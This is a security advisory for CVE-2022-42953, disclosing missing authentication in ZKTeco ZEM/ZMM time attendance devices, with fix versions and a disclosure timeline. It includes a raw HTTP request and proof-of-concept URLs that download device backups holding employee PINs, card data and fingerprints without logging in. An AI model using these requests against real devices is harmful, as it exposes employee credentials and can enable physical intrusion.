Advisory: Missing Authentication in ZKTeco ZEM/ZMM Web Interface
The ZKTeco time attendance device does not require authentication to use the
web interface, exposing the database of employees and their credentials.
### Details
- Product: ZKTeco ZEM500-510-560-760, ZEM600-800, ZEM720, ZMM
- Affected Versions: potentially versions below 8.88 (ZEM500-510-560-760, ZEM600-800, ZEM720) and 15.00 (ZMM200-220-210)
- Fixed Versions: firmware version 8.88 (ZEM500-510-560-760, ZEM600-800, ZEM720), firmware version 15.00 (ZMM200-220-210)
- Vulnerability Type: Missing Authentication
- Security Risk: medium
- Vendor URL: `https://zkteco.eu/company/history`
- Vendor Status: fixed version released
- Advisory URL: `https://www.redteam-pentesting.de/advisories/rt-sa-2021-003`
- Advisory Status: published
- CVE: CVE-2022-42953
- CVE URL: `https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42953`
### Introduction
"Time attendance and workforce management is an integrated set of
processes that an institution uses to optimize the productivity of its
employees on the individual, departmental, and entity-wide levels.
ZKTeco has been at the forefront of time attendance solutions for the
last 30 years, integrating advanced biometric technologies with
innovative and versatile terminals." (from company website)
### More Details
The ZKTeco ZEM/ZMM device allows to store a list of users and their credentials
which may be used to log into the device to prove the users' attendance. These
credentials can either be a PIN, a card for a variety of card readers, or a
fingerprint. The user list can be managed through the web interface.
When opening the web interface, for example on `http://192.0.2.1/`,
the web server of the device sends a Set-Cookie header for a cookie with
name and value similar to the following:
```
Set-Cookie: SessionID=1624553126; path=/;
```
It was determined that the value of the cookie is roughly the number of
seconds since January 1, 1970. Since the value has a constant offset,
that might allow attackers to guess the cookie value. After setting the
cookie, the webserver redirects the browser to "/csl/login". The login
form provided at this URL has its form action set to "/csl/check". If
the user provides wrong credentials, the web server responds with an
error message. If the user provides correct credentials, the server
responds with a frameset.
In this frameset various options are available, for example a user list.
The list contains a link titled "Options" for each user item which
references a URL similar to the following
`http://192.0.2.1/csl/user?did=0&uid=123`
Additionally, backups of all settings of the device can be downloaded
from the backup page. The request to do so looks similar to the
following:
POST /form/DataApp HTTP/1.1
Host: 192.0.2.1
User-Agent: Mozilla/5.0
Cookie: SessionID=1624553126
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
Origin: http://192.0.2.1
Referer: http://192.0.2.1/form/Device?act=11
style=1
When the value "1" is given for the field named "style", the web server
responds with the file "device.dat" (corresponding to the option "Backup
System Data" in the web interface), for all other values the server
responds with the file "data.dat" (corresponding to the option "Backup
User Data" in the web interface). Both files can not only be requested
using HTTP-POST, but also using HTTP-GET with the following URLs:
```
http://192.0.2.1/form/DataApp?style=1
http://192.0.2.1/form/DataApp?style=0
```
Both files are - even though it's not obvious from the filename -compressed tar archives. They can be extracted in the following way:
```
$ mv data.dat data.tgz
$ tar xvzf data.tgz
rwxr-xr-x root/root 0 1970-01-01 01:08 mnt/mtdblock/group.dat
rwxr-xr-x root/root 0 1970-01-01 01:08 mnt/mtdblock/htimezone.dat
rwxr-xr-x root/root 0 1970-01-01 01:08 mnt/mtdblock/lockgroup.dat
rwxrwxrwx 500/513 10512 2021-06-23 07:23 mnt/mtdblock/ssruser.dat
rwxr-xr-x root/root 819896 2021-06-18 07:23 mnt/mtdblock/tempinfo.dat
rwxrwxrwx 500/513 19456 2005-05-05 07:05 mnt/mtdblock/template.dat
rw-r--r-- root/root 360448 2021-06-18 07:23 mnt/mtdblock/templatev10.dat
rwxr-xr-x root/root 0 1970-01-01 01:08 mnt/mtdblock/timezone.dat
rwxrwxrwx 500/513 1372 2005-05-05 07:25 mnt/mtdblock/user.dat
rwxr-xr-x root/root 120 1970-01-01 01:08 mnt/mtdblock/data/alarm.dat
rwxr-xr-x root/root 0 2021-06-23 09:55 mnt/mtdblock/data/extlog.dat
rwxr-xr-x root/root 0 2013-05-04 01:28 mnt/mtdblock/data/extuser.dat
rwxr-xr-x root/root 0 1970-01-01 01:08 mnt/mtdblock/data/group.dat
rwxr-xr-x root/root 0 1970-01-01 01:08 mnt/mtdblock/data/htimezone.dat
rwxr-xr-x root/root 0 1970-01-01 01:08 mnt/mtdblock/data/lockgroup.dat
rwxr-xr-x root/root 54800 2021-06-23 09:55 mnt/mtdblock/data/oplog.dat
rwxr-xr-x root/root 33200 2021-06-23 07:23 mnt/mtdblock/data/sms.dat
rwxr-xr-x root/root 0 2021-06-23 09:55 mnt/mtdblock/data/ssrattlog.dat
rwxr-xr-x root/root 660 2018-11-09 17:28 mnt/mtdblock/data/stkey.dat
rwxrwxrwx 500/513 0 2013-05-04 01:28 mnt/mtdblock/data/template.dat
rwxr-xr-x root/root 0 1970-01-01 01:08 mnt/mtdblock/data/timezone.dat
rwxr-xr-x root/root 0 1970-01-01 01:08 mnt/mtdblock/data/transaction.dat
rwxr-xr-x root/root 952 2021-06-23 07:24 mnt/mtdblock/data/udata.dat
rwxr-xr-x root/root 0 1970-01-01 01:08 mnt/mtdblock/data/user.dat
rwxr-xr-x root/root 0 2013-05-04 01:28 mnt/mtdblock/data/wkcd.dat
```
In this archive, the file "mnt/mtdblock/templatev10.dat" will likely
contain fingerprints, and the file "mnt/mtdblock/ssruser.dat" contains
the user database. The user database contains 72 byte user records, each
containing the privilege level, the PIN, the name of the user, data
stored on external authentication tokens like cards, and the group of
the user.
While the cookie value might be guessable, it is not used for
authentication purposes. An attacker with knowledge of the
corresponding URLs could access the user detail view or the backup
without any authentication.
### Proof of Concept
```
http://192.0.2.1/form/DataApp?style=1
http://192.0.2.1/form/DataApp?style=0
http://192.0.2.1/csl/user?did=0&uid=123
```
### Workaround
Network access to the device should be limited to trustworthy persons.
This might be hard to implement if the device is installed in a public
space, especially if it is used for access control, too.
### Fix
According to the vendor, upgrading to Version 8.88 for ZEM500-510-560-760,
ZEM600-800, ZEM720 or version 15.00 for ZMM200-220-210 resolves the
vulnerability.
### Security Risk
Attackers with network access to a ZKTeco ZEM/ZMM time attendance device
can get access to employee data, including the credentials used for
accessing the time attendance device. If these credentials are used for
other purposes than time attendance, such as physical access control,
attackers might use them to gain access to protected areas. The actual
risk estimate varies wildly with the kind of access control system in
place and whether network access to the device is prevented by other
means, such as nearby security guards. For this reason, missing
authentication to the ZEM/ZMM web interface is estimated to pose a medium
risk. This estimate might need to be adjusted to the specific use case
of the device.
### Timeline
- 2021-06-24 Vulnerability identified
- 2021-07-12 Customer approved disclosure to vendor
- 2021-07-16 Vendor notified
- 2021-08-20 Vendor provides fixed firmware
- 2022-09-29 Customer approved release of advisory
- 2022-10-10 CVE ID requested
- 2022-10-15 CVE ID assigned
- 2022-10-24 Advisory published
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